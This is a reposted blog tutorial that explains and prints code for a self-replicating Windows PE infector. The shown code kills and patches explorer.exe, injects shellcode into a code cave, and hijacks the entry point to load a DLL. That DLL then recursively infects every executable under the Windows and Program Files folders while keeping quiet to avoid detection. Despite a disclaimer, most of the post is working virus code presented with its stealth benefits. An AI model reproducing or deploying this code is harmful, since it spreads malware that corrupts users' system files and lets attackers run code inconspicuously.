[INFO] This is a blog post moved from original location
Recently while roaming on forums I came across a basic tutorial on « how to make a PE infector ». It was explaining how to modify a PE (.exe or .dll) in order to execute some custom code at its startup (it was a MessageBox « Hello world »). I tried it, and indeed it was easy. So to go further I wanted to implement a true PE infector, able to replicate itself in other files …
DISCLAIMER!
This is not a « how to » to make a virus. This is a detailed analysis to explain how viruses (and especially PE-infectors) work. You cannot use this to propagate virus. These technical is known for years by malware editors, so this is only to help « good » people to understand how they work. We cannot be responsible for damaged caused by this code on your or someone’s computer. You use it at your own risk.
Scheme of attack
Basically, the main idea is to redirect the PE execution flow from the entry point (EP) to an injected section of code (ShellCode). Then, the ShellCode must call the previous entry point (EP). This will allow the attacker to execute some code before the PE accesses its own. Here’s a schematic :
Infect an executable
Once the routine to infect a PE is done, we can schedule a macro attack over the system. To do this, we will act in 2 times. The first step is to infect an important exe file : explorer.exe. As this file is protected (cause running), we will simply kill its process and infect the file. This will force the system to reload the file (infected this time) and will trigger the runtime patching.
Here’s the code of the main. We basically get the path of explorer.exe, we kill it, wait half a second (the time for the kill to be done) and we infect it.
int _tmain(int argc, _TCHAR* argv[])
{
TCHAR win[MAX_PATH] = L"";
SHGetFolderPath(NULL,CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, win); //Windows
wstring Path = wstring(win) + L"\\explorer.exe";
KillProcessByName(L"explorer.exe");
Sleep(500);
InfectPe(Path);
system("PAUSE");
return 0;
}
Let’s see the InfectPE routine, step by step…
In order to compile those functions at the same place as they are in the source code, you need to remove the incremental linking from the linker options (thanks Shebaw).
Here we simply get address and size of the ShellCode. The size is gotten by looking at the address of a virtual function called ShellCodeEnd, which is here only to mark the end of the ShellCode (see later)
// Get addresses of shellcode
DWORD start = (DWORD)ShellCode;
DWORD end = (DWORD)ShellCodeEnd;
DWORD stubLength = end - start;
We open the file to infect (explorer.exe) and we map its memory into our process context with READ and WRITE permission. Then we check if it’s a PE (portable executable) and we save the current entry point (EP).
// Get addresses of shellcode
// map file
hFile = CreateFile(Path.c_str(), GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// Get file size
fsize = GetFileSize(hFile, 0);
// Create file mapping -- hFileMap
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
// Create Map -- hMap
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
// check signatures -- must be a PE
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
goto cleanup;
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
goto cleanup;
// Not dll
if (pNtHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL
&& pNtHeaders->FileHeader.Characteristics & IMAGE_FILE_EXECUTABLE_IMAGE)
goto cleanup;
// get last section's header...
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
// save entrypoint
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
Now we are looking for a free space (code cave) to put our shellcode, based on the shellcode size. We just looking for a large enough place with bytes set to 0x0.
// Get addresses of shellcode
//******************************************************
// locate free space - code cave to write the shellcode
//******************************************************
for(i = pSection->PointerToRawData ; i != fsize ; i++)
{
if((char*)hMap[i] == 0x00)
{
if(charcounter++ == stubLength + 24)
{
printf("[+] Code cave located @ 0x%08lX\n", i);
writeOffset = i;
}
}
else charcounter = 0;
}
if(charcounter == 0 || writeOffset == 0)
{
printf("[-] Could not locate a big enough code cave\n");
goto cleanup;
}
// decrement to rewind to the beg of the code cave
writeOffset -= stubLength;
// Allocate memory
stub = (unsigned char *)malloc(stubLength + 1);
if(!stub) goto cleanup;
// copy stub into a buffer
memcpy(stub, ShellCode, stubLength);
Then we fill the place holders of the Shellcode. By looking at the ShellCode (see below), you will see addresses initialized with 0xCCCCCCCC. This is a way to quickly find the datas we need to replace at runtime. Here we have 2 things to replace.
* The address of the LoadLibrary function
* The initial Entry Point
// locate offsets of place holders in code
for(i = 0, charcounter = 0; i != stubLength; i++)
{
if(stub[i] == 0xCC)
{
charcounter++;
if(charcounter == 4 && callOffset == 0) // First is call
callOffset = i - 3;
else if(charcounter == 4 && oepOffset == 0) // Second is OEP
oepOffset = i - 3;
}
else charcounter = 0;
}
// check they're valid
if(oepOffset == 0 || callOffset == 0)
{
free(stub);
goto cleanup;
}
//******************************************************
// Load Kernel32.dll to get LoadLibrary address
//******************************************************
hKernel32 = LoadLibrary(L"Kernel32.dll");
if(!hKernel32)
{
free(stub);
printf("[-] Could not load Kernel32.dll");
goto cleanup;
}
// fill in place holders
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hKernel32, "LoadLibraryA"));
FreeLibrary(hKernel32);
Finally, our ShellCode is ready. We simply write it into the code cave we have found, and we erase the original entry point with the address of the beginning of our ShellCode.
// write stub
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
// rewrite entrypoint to point on shellcode
pNtHeaders->OptionalHeader.AddressOfEntryPoint = FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
// set section size
pSection->Misc.VirtualSize += stubLength;
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
// cleanup
printf("[+] Stub written!!\n[*] Cleaning up\n");
free(stub);
cleanup:
// Write memory map back
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
Let’s see this famous ShellCode…
This a very basic trick. We call LoadLibray with the complete path of our injected DLL. This DLL will contain all the code we want to execute in the process’s context.
__declspec(naked) void ShellCode()
{
__asm
{
pushad // preserve our thread context
call GetBasePointer
GetBasePointer:
pop ebp
sub ebp, offset GetBasePointer // delta offset trick.
lea eax, [ebp+szPath] // Path param
push eax
mov eax, 0xCCCCCCCC // pattern to fill with GetProcAddr("LoadLibrary")
call eax
popad // restore our thread context
push 0xCCCCCCCC // push address of orignal entrypoint
retn // retn used as jmp
szPath: // C:\\windows\\system32\\pe.dll
bb('C') bb(':') bb('\\') bb('w') bb('i') bb('n') bb('d') bb('o') bb('w') bb('s') bb('\\')
bb('s') bb('y') bb('s') bb('t') bb('e') bb('m') bb('3') bb('2') bb('\\') bb('p') bb('e')
bb('.') bb('d') bb('l') bb('l') bb(0)
}
}
// Here to mark the end of the shellcode
__declspec(naked) void ShellCodeEnd()
{
}
Here’s what we’ve got at the execution :
A code cave has been found, and explorer.exe is infected. At its startup, it will execute our ShellCode and load the pe.dll library (that we copied into the good directory!)
Infect all executables
Don’t stop here 🙂
At this moment, explorer.exe is able to load our DLL at each startup. As Windows needs to start this program each time the system is loaded, we know that our code will be executed. By the way, having a thread into explorer.exe is one of the finest thing for an attacker because inconspicuous.
Now, we will see how this DLL can be used to infect all executables and execute some custom code (depending on what you want). See this schematic:
Let’s see the DLL’s code.
We simply Output a string at process attach (when the process loads the DLL) and we fire a new Thread to infect all PE’s.
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
DWORD ret = 0;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(L"I'm injected you know!");
// Create Thread
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)InfectAllPe, 0, 0, &ret);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
The thread will iterate directories to find any .exe and patch it. We start at 2 strategic root directories : windir and programfiles. We also create a mutex on this thread because we don’t need each infected process to fire a mass infection over the system. With only one thread, it’s sufficient and stealthiest.
void InfectAllPe()
{
HANDLE hMutex;
TCHAR win[MAX_PATH] = L"", progs[MAX_PATH] = L"";
// Create mutex - Return if already created.
if (!CreateNamedMutex(L"peinfector", &hMutex))
return;
// Get %windir% and %progfiles%
SHGetFolderPath(NULL,CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, win); //Windows
SHGetFolderPath(NULL,CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, progs); //Program Files
InfectDirectory(win);
InfectDirectory(progs);
// Release mutex
ReleaseMutex(hMutex);
}
The InfectDirectory function will iterate recursively files and subdirectories, triggering the InfectPE function for each file (this is the same function as before). I’ve added a Sleep to relax CPU as this task can be long. The quietest we are, the best it is.
void InfectDirectory(wstring const& path)
{
WIN32_FIND_DATA ffd;
HANDLE hFind = INVALID_HANDLE_VALUE;
// Build search dir
wstring pathDir = path + L"\\*";
// Find the first file in the directory.
hFind = FindFirstFile(pathDir.c_str(), &ffd);
// No files
if (INVALID_HANDLE_VALUE == hFind) return;
// Loop
do
{
if (!_tcsicmp(ffd.cFileName, L".") || !_tcsicmp(ffd.cFileName, L".."))
continue;
// Directories
else if ((ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
// get full path of directory
pathDir = path + L"\\" + wstring(ffd.cFileName);
// Iterate inside
InfectDirectory(pathDir);
}
// Files
else if (!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
// get full path of file
pathDir = path + L"\\" + wstring(ffd.cFileName);
// Infect file
InfectPe(pathDir);
}
// To not occupy all CPU
Sleep(50);
}// fin do
while (FindNextFile(hFind, &ffd) != 0);
FindClose(hFind);
}
Here’s what we’ve got once Explorer has loaded the DLL :
Conclusion
At this time, every .exe under Windir and Program File is infected to load our dll at startup.
Our DLL does nothing else than infecting other files. But we can simply add a Thread after our infection routine to execute some custom code with process’s privileges.
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
DWORD ret = 0;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(L"I'm injected you know!");
// Create Thread
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)InfectAllPe, 0, 0, &ret);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CustomRoutine, 0, 0, &ret);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
* No suspicious process, only a DLL thread executed by a legit process (explorer.exe)
* No suspicious autostart entry (RUN, task, file in the startup folder, …), only an entry point hijack into an essential system file.
This make the infection stealthier, and harder to detect. However, a simple HASH check will reveal a problem into some system files.
NOTE: All has come from a thread on Rohitab.com. See the link below.
Code is from KOrUPt. Thanks to him!
NOTE 2: I do not provide any full source or binary, because I don’t want script kiddies to copy/paste it and/or use it to put some badness over the internet. Those who can understand and compile this code are smart enough to know what is bad and what is not.
Links
Rohitab: http://www.rohitab.com/discuss/topic/33006-detailed-guide-to-pe-infection/